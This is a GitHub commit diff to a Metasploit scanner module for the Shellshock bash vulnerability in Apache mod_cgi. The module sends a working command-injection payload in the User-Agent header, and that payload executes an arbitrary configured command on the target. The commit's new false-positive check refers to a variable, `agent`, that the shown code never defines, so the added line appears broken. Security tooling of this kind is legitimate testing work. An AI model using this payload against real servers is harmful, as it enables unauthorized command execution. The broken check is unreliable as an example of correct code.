Skip to content

Commit b1e9b36

Browse files
committed
Improve false positive check
1 parent 8daf8d4 commit b1e9b36

File tree

1 file changed

+4
-1
lines changed

1 file changed

+4
-1
lines changed

modules/auxiliary/scanner/http/apache_mod_cgi_bash_env.rb

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -42,13 +42,16 @@ def initialize(info = {})
4242

4343
def run_host(ip)
4444
marker = Rex::Text.rand_text_alphanumeric(rand(42) + 1)
45+
user_agent = %Q{() { :; }; echo "#{marker}$(#{datastore['CMD']})#{marker}"}
4546

4647
res = send_request_raw(
4748
'method' => datastore['METHOD'],
4849
'uri' => normalize_uri(target_uri.path),
49-
'agent' => %Q{() { :; }; echo "#{marker}$(#{datastore['CMD']})#{marker}"}
50+
'agent' => user_agent
5051
)
5152

53+
return if (res && res.body.include?(agent))
54+
5255
if res && res.body =~ /#{marker}(.+)#{marker}/m
5356
print_good("#{peer} - #{$1}")
5457
report_vuln(

0 commit comments

Comments
 (0)